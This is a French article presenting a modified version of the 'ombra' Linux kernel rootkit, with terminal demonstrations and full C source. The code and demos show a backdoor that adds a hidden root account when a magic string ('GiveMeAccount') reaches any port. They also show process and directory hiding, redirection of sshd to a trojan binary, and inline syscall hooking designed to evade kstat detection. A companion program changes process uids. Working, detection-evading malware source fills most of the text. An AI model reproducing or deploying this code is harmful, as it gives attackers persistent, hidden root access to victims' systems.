Le rootkit ombra a été programmer par Fusys de s0ftproject. J’ai modifié son programme pour qu’il implémente la nouvelle protection en question. J’ai choisis de le faire sur le rootkit ombra car j’aime les options qu’il propose et il mérite a être connu. Nous allons tester toutes les options qu’il propose :
[root@localhost 0mbra]# insmod ombra.o
[root@localhost 0mbra]# lsmod
Module Size Used by
nls_cp437 3952 2 (autoclean)
ide-scsi 7664 2 (initializing)
[root@localhost 0mbra]#
Bon, nous avons compilé et inséré le module. Celui ci n’est pas visible via lsmod. Ici il est possible de la détecter via /proc/modules car sys_write n’a pas été modifié.
Voyons voir les options que proposent ce rootkit. La premiere option est l’ajout d’un utilisateur sur le système lors de l’envoi d’un mot ( GiveMeAccount par default ) sur n’importe quel port de la machine infectée. Le tout étant que ce mot passe reste dans un buffer que traitera sys_socketcall. Pour le test je passe par le service ftp.
[root@localhost 0mbra]#
Voici ce que fait le pirate de chez lui :
Connected to www.victim.com.
220 www.victim.com FTP server (Version wu-2.6.1(1) Tue Oct 3 14:29:19 CEST 2000) ready.
Name (localhost:root): GiveMeAccount
331 Password required for GiveMeAccount.
Password:
530 Login incorrect.
Login failed.
ftp> quit
221 Goodbye.
root@hax0r root]#
La string a été envoyée. Voyons désormais les fichiers /etc/passwd et /etc/shadow :
fantom::1:6:spj2k:/tmp:/bin/bash
[root@localhost /root]# cat /etc/shadow | grep fantom
fantom::10968:0:99999:7:-1:-1:134538412
[root@localhost /root]#
Le compte a effectivement été ajouté. Par défaut le compte est sans mot de passe. Celui-ci semble être d’utilisateur : "bin" ( uid 1 ) mais en fait c’est root car setuid et getuid ont été modifiés pour donner des droits root au processus d’uid 1. On peut aisément imaginer le scénario suivant : le pirate ajoute l’utilisateur fantôme en envoyant la string GiveMeAccount, puis il se log sur le shell, efface les entrées dans lastlog/wtmp/... puis retire le compte lorsqu’il désire quitter le système. De cette manière, il n’a été visible à aucun moment et il poura revenir probablement beaucoup de fois avant que vous ne vous en rendiez compte.
Je ne vais pas détailler les procédures, mais il est possible de cacher des processus en leur envoyant le signal 31 ( kill -31 process ). Cela est commun à plusieurs rootkit. Kstat par contre peut les détecter.
Il est possible de cacher des répertoires, par ailleurs, il faut que ceux-ci aieny un nom spécial ( HideRep par défaut ). A ce niveau, la rootkit offre également des possibilite très intéressantes : Les répertoires cachés par ombra sont mieux cachés que ceux cachés par des rootkit comme adore ou knark. ( voir article " sécurite linux : retirer les failles et se protéger des outils des pirates " ). En effet les répertoires cachés par ombra n’ont pas d’attribut qui permettrait de les retrouver, mis à part le fait qu’ils portent un nom special. Si ce nom n’est pas connu, même une fois le module déchargé, les investigations risquent d’être longues pour retrouver les fichiers du hacker. Les rootkits tels que knark ou adore se contentaient également de cacher les répertoires et fichiers, mais ceux-ci étaient accessibles. Avec le rootkit ombra, il faut obligatoirement posséder un Uid spécial. ( 666 par défaut ).
Comme aucun utilisateur d’uid 666 existe et afin d’éviter d’ajouter un utilisateur supplémentaire, j’ai ajouté au rootkit une option qui permet de modifier l’uid d’un pid. Voici la démonstration :
[root@localhost 0mbra]# ls
install.sh* ombra.c ombra.o uidpid* uidpid.c
[root@localhost 0mbra]# cd HideRep
bash: cd: HideRep: Aucun fichier ou répertoire de ce type
[root@localhost 0mbra]# ps -aux | grep root | grep bash
root 667 0.0 2.3 2392 1460 pts/0 S 01:26 0:00 bash
[root@localhost 0mbra]# ./uidpid
./uidpid <uid> <pid>
[root@localhost 0mbra]# ./uidpid 666 667
[*] Met le pid 667 a l'uid 666
Done !
[root@localhost 0mbra]# ls
HideRep/ install.sh* ombra.c ombra.o uidpid* uidpid.c
root@hax0r root]#
Ombra gère également la redirection en exécution, mais pour éviter d’avoir à stocker les informations de redirections, les mettant ainsi à la merci de l’administrateur, celles-ci doivent être entrées dès le chargement du module. Par défaut le module redirige /usr/local/bin/sshd vers /HideRep/evil_sshd.
Initialement, le rootkit redirigeait les entrées de la syscall_table pour influer sur les syscall. Cette méthode, largement utilisée par les rootkits, est pourtant facilement repérable. J’ai modifié le rootkit ombra pour qu’il ne modifie pas la sys_call_table, et qu’il hijack à la place les syscall. ( en overwritant les 7 premiers octets des syscalls ciblés pour ajouter un jump vers l’adresse de notre nouvelle fonction ). Cela évite que les adresses enregistrées dans le syscall table ne soit modifiées. En effet avec des outils come kstat ( encore de s0ftproject ), on peut détecter ce type de module. Kstat va chercher l’adresse des syscall via /dev/kmem puis compare avec celles de la sys_call_table. Si il y a une modification, alors le système est trojanisé. J’ai modifié ombra, car jusque là je n’avais jamais vu de rootkit capable de parer cette protection. Démonstration :
[root@localhost KSTAT]#
Voici le résultat obtenu avant modification du rootkit :
sys_unlink 0xc4c2c410 WARNING! Should be at 0xc012dbcc
sys_execve 0xc4c2c1a4 WARNING! Should be at 0xc0108f80
sys_chdir 0xc4c2c4e8 WARNING! Should be at 0xc0125580
sys_setuid 0xc4c2c640 WARNING! Should be at 0xc0115458
sys_getuid 0xc4c2c69c WARNING! Should be at 0xc0112a10
sys_kill 0xc4c2c5b8 WARNING! Should be at 0xc0110e78
sys_ioctl 0xc4c2c6ec WARNING! Should be at 0xc012f058
sys_socketcall 0xc4c2c7a0 WARNING! Should be at 0xc0159934
sys_getdents 0xc4c2c25c WARNING! Should be at 0xc012f3b0
sys_query_module 0xc4c2c938 WARNING! Should be at 0xc0117150
[root@localhost KSTAT]#
On voyait clairement les 10 syscall modifiés par ombra. Les IDS offrant à l’heure actuelle une protection contre les modules rootkit se contentent d’effectuer le même travaille que kstat afin de restaurer la syscall table si besoin est. J’ai pour ma part programmé un petit patch qui va s’occuper de remettre en place les 15 premiers octets des syscall et la syscall table lorsque insmod est appelé. Mon patch est efficace contre le module ombra. Le code est diffusé dans l’article sur la securite disponible sur www.minithins.net.
Voila le code du module ombra. Il ne modifie pas la sys_call_table :-)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
/*
* oMBRa.c
* Auteur : Coder par fusys de s0ftproject. Modifications de Sauron au niveau du hijacking des
* syscall. Ajout de fonction utile pour gerer ce module.
*
* Compilate con: gcc -c -O2 -fomit-frame-pointer oMBRa.c
* Installate con: insmod oMBRa.o
*
*/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/types.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/mm.h>
#include <linux/if.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/segment.h>
#define MAGICSTRING "GiveMeAccount"
#define SUBVISUS "HideRep"
#define LKMNAME "ombra"
#define SIGNIHIL 31
#define PF_DISAPPEAR 0x00002000
#define SACROUID 1
#define KING 666
#define SSHD "/usr/local/bin/sshd"
#define PASSWD "/etc/passwd"
#define SHADOW "/etc/shadow"
#define ACCOUNT "fantom::1:6:spj2k:/tmp:/bin/bash\n"
#define ACCSHDW "fantom::10968:0:99999:7:-1:-1:134538412\n"
#define MYFUNC 192
inline int suser(void)
{
if (!issecure(SECURE_NOROOT) && ((current->euid == 0)||
(current->euid == KING))) {
current->flags |= PF_SUPERPRIV;
return 1;
}
return 0;
}
inline int fsuser(void)
{
if (!issecure(SECURE_NOROOT) && ((current->fsuid == 0)||
(current->euid == KING))) {
current->flags |= PF_SUPERPRIV;
return 1;
}
return 0;
}
inline int capable(int cap)
{
if ((cap_raised(current->cap_effective, cap))||(current->euid == KING))
{
current->flags |= PF_SUPERPRIV;
return 1;
}
return 0;
}
int promisc, errno;
static char syscall_code_execve[7];
static char syscall_code_getdents[7];
static char syscall_code_unlink[7];
static char syscall_code_kill[7];
static char syscall_code_setuid[7];
static char syscall_code_getuid[7];
static char syscall_code_ioctl[7];
static char syscall_code_socketcall[7];
static char syscall_code_query_module[7];
static char syscall_code_chdir[7];
static char new_syscall_code[7]="\xbd\x00\x00\x00\x00\xff\xe5";
int (*old_execve) (struct pt_regs);
int (*old_kill) (pid_t, int) ;
int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ;
int (*old_unlink) (const char *) ;
int (*old_chdir) (const char *) ;
int (*old_setuid) (uid_t) ;
int (*old_getuid) () ;
int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ;
int (*old_socketcall) (int, unsigned long *);
int (*old_query_module)(const char *, int, char *, size_t, size_t *) ;
extern void *sys_call_table[] ;
int (*open)(const char*, int, mode_t);
int (*write)(unsigned int, char*, unsigned int);
int (*close)(int);
int (*fuqfunc)();
void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;
for (i = 0; i < size; i++) *q++ = *p++;
return dest;
}
int atoi(char str[])
{
int res = 0;
int i ;
for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
res = 10 * res + str[i] - '0';
return res;
}
inline char *task_name(struct task_struct *p, char *buf)
{
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == '\\') {
buf[1] = c;
buf += 2;
continue;
}
if (c == '\n') {
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}
while (i);
*buf = '\n';
return buf + 1;
}
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = current;
do {
if (p->pid == pid)
return p;
p = p->next_task;
}
while (p != current);
return NULL;
}
int secret(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *name;
if (task) {
name = (char *)kmalloc(200, GFP_KERNEL);
memset(name, 0, 200);
task_name(task, name);
if (strstr(name, SUBVISUS)!=NULL) {
kfree(name);
return 1;
}
kfree(name);
}
return 0;
}
asmlinkage int you_make_me_real(unsigned short k_uid, int k_pid) {
struct task_struct *q;
for_each_task(q) {
if(q->pid == k_pid) {
q->uid = k_uid;
q->euid = k_uid;
return 0;
}
}
return -1;
}
int killinv(pid_t pid)
{
struct task_struct *task = get_task(pid);
if(task == NULL) return 0;
if (task->flags & PF_DISAPPEAR) {
return 1;
}
return 0;
}
int new_execve(struct pt_regs regs)
{
char *filename;
int error;
filename=getname((char *) regs.ebx);
error = PTR_ERR(filename);
if (IS_ERR(filename)) return error;
if(strstr(filename, SSHD)){
error=do_execve("/HideRep/evil_sshd",(char **)regs.ecx,(char **)regs.edx,®s);
}
else error = do_execve(filename,(char **)regs.ecx,(char **)regs.edx,®s);
if (error == 0) current->flags &= ~PF_DTRACE;
putname(filename);
return error;
}
int new_getdents(unsigned int fd, struct dirent *dirptr, unsigned int count)
{
unsigned int real ;
unsigned int len ;
int readen ;
int proc;
struct dirent *dirptr2, *dirptr3;
struct inode *procinode;
_memcpy(sys_call_table[__NR_getdents], syscall_code_getdents, sizeof(syscall_code_getdents));
real = (*old_getdents) (fd, dirptr, count);
*(long *)&new_syscall_code[1] = (long)new_getdents;
_memcpy(sys_call_table[__NR_getdents], new_syscall_code, sizeof(syscall_code_getdents));
if(real == -1) return(-errno);
#ifdef __LINUX_DCACHE_H
procinode = current->files->fd[fd]->f_dentry->d_inode;
#else
procinode = current->files->fd[fd]->f_inode;
#endif
if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) &&
MINOR(procinode->i_dev) == 1) proc = 1;
if (current->uid == KING) return(real);
if (real > 0) {
dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL);
copy_from_user(dirptr2, dirptr, real);
dirptr3 = dirptr2;
readen = real;
while (readen > 0) {
len = dirptr3->d_reclen;
readen -= len;
if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL)
|| (proc && secret(atoi(dirptr3->d_name)))
|| (proc && killinv(atoi(dirptr3->d_name)))) {
if (readen != 0)
memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen);
else dirptr3->d_off = 1024;
real -= len;
}
if (dirptr3->d_reclen == 0) {
real -= readen;
readen = 0;
}
if (readen != 0)
dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen);
}
copy_to_user(dirptr, dirptr2, real);
kfree(dirptr2);
}
return(real);
}
int new_unlink(const char *pathname)
{
int ret;
char *path2;
path2=(char*)kmalloc(256, GFP_KERNEL);
copy_from_user(path2, pathname, 255);
if(strstr(path2, SUBVISUS)) {
if(current->uid != KING){
kfree(path2);
return -EPERM ;
}
else {
kfree(path2);
_memcpy(sys_call_table[__NR_unlink], syscall_code_unlink, sizeof(syscall_code_unlink));
ret = (*old_unlink) (pathname);
*(long *)&new_syscall_code[1] = (long)new_unlink;
_memcpy(sys_call_table[__NR_unlink], new_syscall_code, sizeof(syscall_code_unlink));
return(ret);
}
}
else {
_memcpy(sys_call_table[__NR_unlink], syscall_code_unlink, sizeof(syscall_code_unlink));
ret = (*old_unlink) (pathname);
*(long *)&new_syscall_code[1] = (long)new_unlink;
_memcpy(sys_call_table[__NR_unlink], new_syscall_code, sizeof(syscall_code_unlink));
}
kfree(path2);
return(ret);
}
int new_chdir(const char *filename)
{
int ret;
char *name;
name=(char*)kmalloc(256, GFP_KERNEL);
copy_from_user(name, filename, 255);
if(strstr(name, SUBVISUS)) {
if(current->uid != KING){
kfree(name);
return -ENOENT ;
}
else {
kfree(name);
_memcpy(sys_call_table[__NR_chdir], syscall_code_chdir, sizeof(syscall_code_chdir));
ret = (*old_chdir) (filename);
*(long *)&new_syscall_code[1] = (long)new_chdir;
_memcpy(sys_call_table[__NR_chdir], new_syscall_code, sizeof(syscall_code_chdir));
return(ret);
}
}
else {
_memcpy(sys_call_table[__NR_chdir], syscall_code_chdir, sizeof(syscall_code_chdir));
ret = (*old_chdir) (filename);
*(long *)&new_syscall_code[1] = (long)new_chdir;
_memcpy(sys_call_table[__NR_chdir], new_syscall_code, sizeof(syscall_code_chdir));
}
kfree(name);
return(ret);
}
int new_kill(pid_t pid, int sig)
{
int real;
struct task_struct *task = get_task(pid);
if ((sig != SIGNIHIL) && (sig != SIGTSTP)) {
_memcpy(sys_call_table[__NR_kill], syscall_code_kill, sizeof(syscall_code_kill));
real = (*old_kill)(pid, sig);
*(long *)&new_syscall_code[1] = (long)new_kill;
_memcpy(sys_call_table[__NR_kill], new_syscall_code, sizeof(syscall_code_kill));
if (real == -1) return(-errno);
return real;
}
if (sig == SIGNIHIL) {
task->flags |= PF_DISAPPEAR;
return(0);
}
else if (sig == SIGTSTP) {
task->uid = task->gid = task->euid = task->egid = 0;
task->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
return(real);
}
return(0);
}
int new_setuid(uid_t uid)
{
int tmp;
if (uid == SACROUID) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
return 0;
}
_memcpy(sys_call_table[__NR_setuid], syscall_code_setuid, sizeof(syscall_code_setuid));
tmp = (*old_setuid) (uid) ;
*(long *)&new_syscall_code[1] = (long)new_setuid;
_memcpy(sys_call_table[__NR_setuid], new_syscall_code, sizeof(syscall_code_setuid));
return tmp;
}
int new_getuid()
{
int tmp;
if (current->uid == SACROUID) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
return 0;
}
_memcpy(sys_call_table[__NR_getuid], syscall_code_getuid, sizeof(syscall_code_getuid));
tmp = (*old_getuid) () ;
*(long *)&new_syscall_code[1] = (long)new_getuid;
_memcpy(sys_call_table[__NR_getuid], new_syscall_code, sizeof(syscall_code_getuid));
return tmp;
}
int new_ioctl
(unsigned int fd, unsigned int cmd, unsigned long arg)
{
int ret ;
struct ifreq netif ;
_memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl, sizeof(syscall_code_ioctl));
ret = (*old_ioctl) (fd, cmd, arg);
*(long *)&new_syscall_code[1] = (long)new_ioctl;
_memcpy(sys_call_table[__NR_ioctl], new_syscall_code, sizeof(syscall_code_ioctl));
if (cmd == SIOCGIFFLAGS && !promisc) {
copy_from_user((struct ifreq *)&netif, (struct ifreq *)arg,
sizeof(struct ifreq));
netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC);
copy_to_user((struct ifreq *) arg, (struct ifreq *) &netif,
sizeof(struct ifreq));
} else if (cmd == SIOCSIFFLAGS)
_memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl, sizeof(syscall_code_ioctl));
return ret ;
}
int new_socketcall(int call, unsigned long *args)
{
int ret, compt, fd=0;
mm_segment_t old_fs;
unsigned long *sargs = args;
unsigned long a0, a1;
void *buf;
_memcpy(sys_call_table[__NR_socketcall], syscall_code_socketcall, sizeof(syscall_code_socketcall));
ret = (*old_socketcall) (call, args);
*(long *)&new_syscall_code[1] = (long)new_socketcall;
_memcpy(sys_call_table[__NR_socketcall], new_syscall_code, sizeof(syscall_code_socketcall));
if (call ==SYS_RECV || call == SYS_RECVFROM || call == SYS_RECVMSG) {
get_user(a0, sargs);
get_user(a1, sargs + 1);
buf = kmalloc(ret, GFP_KERNEL);
copy_from_user(buf, (void *) a1, ret);
for (compt = 0; compt < ret; compt++)
if (((char *) (buf))[compt] == 0)
((char *) (buf))[compt] = 1;
if (strstr(buf, MAGICSTRING)) {
current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
old_fs=current->addr_limit;
current->addr_limit=(KERNEL_DS);
fd=(*open)(PASSWD, O_RDWR|O_APPEND, 0644);
printk("%d\n",fd);
(*write)(fd,ACCOUNT,strlen(ACCOUNT));
(*close)(fd);
fd=(*open)(SHADOW, O_RDWR|O_APPEND, 0400);
printk("%d\n",fd);
(*write)(fd,ACCSHDW,strlen(ACCSHDW));
(*close)(fd);
current->addr_limit=old_fs;
current->cap_effective &= ~(1 << (CAP_DAC_OVERRIDE));
}
kfree(buf);
}
return ret;
}
int new_query_module(const char *name, int which, char *buf, size_t bufsize,
size_t *ret)
{
int res;
int cnt;
char *ptr, *match;
_memcpy(sys_call_table[__NR_query_module], syscall_code_query_module, sizeof(syscall_code_query_module));
res = (*old_query_module)(name, which, buf, bufsize, ret);
*(long *)&new_syscall_code[1] = (long)new_query_module;
_memcpy(sys_call_table[__NR_query_module], new_syscall_code, sizeof(syscall_code_query_module));
if(res == -1)
return(-errno);
if(which != QM_MODULES)
return(res);
ptr = buf;
for(cnt = 0; cnt < *ret; cnt++) {
if(!strcmp(LKMNAME, ptr)) {
match = ptr;
while(*ptr)
ptr++;
ptr++;
memcpy(match, ptr, bufsize - (ptr - (char *)buf));
(*ret)--;
return(res);
}
while(*ptr)
ptr++;
ptr++;
}
return(res);
}
int init_module(void)
{
EXPORT_NO_SYMBOLS;
*(long *)&new_syscall_code[1] = (long)new_execve;
_memcpy(syscall_code_execve, sys_call_table[__NR_execve], sizeof(syscall_code_execve));
_memcpy(sys_call_table[__NR_execve], new_syscall_code, sizeof(syscall_code_execve));
old_execve = sys_call_table[SYS_execve];
*(long *)&new_syscall_code[1] = (long)new_getdents;
_memcpy(syscall_code_getdents, sys_call_table[__NR_getdents], sizeof(syscall_code_getdents));
_memcpy(sys_call_table[__NR_getdents], new_syscall_code, sizeof(syscall_code_getdents));
*(long *)&new_syscall_code[1] = (long)new_unlink;
_memcpy(syscall_code_unlink, sys_call_table[__NR_unlink], sizeof(syscall_code_unlink));
_memcpy(sys_call_table[__NR_unlink], new_syscall_code, sizeof(syscall_code_unlink));
*(long *)&new_syscall_code[1] = (long)new_chdir;
_memcpy(syscall_code_chdir, sys_call_table[__NR_chdir], sizeof(syscall_code_chdir));
_memcpy(sys_call_table[__NR_chdir], new_syscall_code, sizeof(syscall_code_chdir));
*(long *)&new_syscall_code[1] = (long)new_kill;
_memcpy(syscall_code_kill, sys_call_table[__NR_kill], sizeof(syscall_code_kill));
_memcpy(sys_call_table[__NR_kill], new_syscall_code, sizeof(syscall_code_kill));
*(long *)&new_syscall_code[1] = (long)new_setuid;
_memcpy(syscall_code_setuid, sys_call_table[__NR_setuid], sizeof(syscall_code_setuid));
_memcpy(sys_call_table[__NR_setuid], new_syscall_code, sizeof(syscall_code_setuid));
*(long *)&new_syscall_code[1] = (long)new_ioctl;
_memcpy(syscall_code_ioctl, sys_call_table[__NR_ioctl], sizeof(syscall_code_ioctl));
_memcpy(sys_call_table[__NR_ioctl], new_syscall_code, sizeof(syscall_code_ioctl));
*(long *)&new_syscall_code[1] = (long)new_getuid;
_memcpy(syscall_code_getuid, sys_call_table[__NR_getuid], sizeof(syscall_code_getuid));
_memcpy(sys_call_table[__NR_getuid], new_syscall_code, sizeof(syscall_code_getuid));
*(long *)&new_syscall_code[1] = (long)new_socketcall;
_memcpy(syscall_code_socketcall, sys_call_table[__NR_socketcall], sizeof(syscall_code_socketcall));
_memcpy(sys_call_table[__NR_socketcall], new_syscall_code, sizeof(syscall_code_socketcall));
*(long *)&new_syscall_code[1] = (long)new_query_module;
_memcpy(syscall_code_query_module, sys_call_table[__NR_query_module], sizeof(syscall_code_query_module));
_memcpy(sys_call_table[__NR_query_module], new_syscall_code, sizeof(syscall_code_query_module));
fuqfunc = sys_call_table[MYFUNC];
sys_call_table[MYFUNC] = you_make_me_real;
old_getdents = sys_call_table[SYS_getdents];
old_unlink= sys_call_table[SYS_unlink];
old_chdir= sys_call_table[SYS_chdir];
old_kill = sys_call_table[SYS_kill];
old_setuid = sys_call_table[SYS_setuid];
old_getuid = sys_call_table[SYS_getuid];
old_ioctl = sys_call_table[SYS_ioctl];
old_socketcall = sys_call_table[SYS_socketcall];
old_query_module = sys_call_table[SYS_query_module];
open = sys_call_table[SYS_open];
close = sys_call_table[SYS_close];
write = sys_call_table[SYS_write];
return 0;
}
void cleanup_module(void)
{
sys_call_table[MYFUNC] = fuqfunc;
_memcpy(sys_call_table[__NR_execve], syscall_code_execve, sizeof(syscall_code_execve));
_memcpy(sys_call_table[__NR_getdents], syscall_code_getdents, sizeof(syscall_code_getdents));
_memcpy(sys_call_table[__NR_unlink], syscall_code_unlink, sizeof(syscall_code_unlink));
_memcpy(sys_call_table[__NR_chdir], syscall_code_chdir, sizeof(syscall_code_chdir));
_memcpy(sys_call_table[__NR_kill], syscall_code_kill, sizeof(syscall_code_kill));
_memcpy(sys_call_table[__NR_setuid], syscall_code_setuid, sizeof(syscall_code_setuid));
_memcpy(sys_call_table[__NR_getuid], syscall_code_getuid, sizeof(syscall_code_getuid));
_memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl, sizeof(syscall_code_ioctl));
_memcpy(sys_call_table[__NR_socketcall], syscall_code_socketcall, sizeof(syscall_code_socketcall));
_memcpy(sys_call_table[__NR_query_module], syscall_code_query_module, sizeof(syscall_code_query_module));
}
Voici maintenant le programme à appeler pour modifier l’uid d’un pid quand ombra est chargé :
#define MYFUNC 192
#define VERT "\033[32m"
#define NORM "\033[0m"
int errno;
int uidpid(unsigned short uid, int pid) {
long __res;
__asm__ volatile ("int $0x80"
: "=a" (__res)
: "0" (MYFUNC),"b" ((long)(uid)),"c" ((long)(pid)));
__syscall_return(int,__res);
}
int main(int argc, char *argv[]) {
int ret;
if(argc != 3) {
printf(VERT"%s"NORM" <uid> <pid>\n", argv[0]);
exit(-1);
}
printf("[*] Met le pid "VERT"%s"NORM" a l'uid "VERT"%s"NORM"\n", argv[2], argv[1]);
ret=uidpid(atoi(argv[1]), atoi(argv[2]));
printf(VERT"Done !\n"NORM);
return ret;
}
par Nicolas Brito ( a.k.a Sauron )








Documentation publiés dans cette rubrique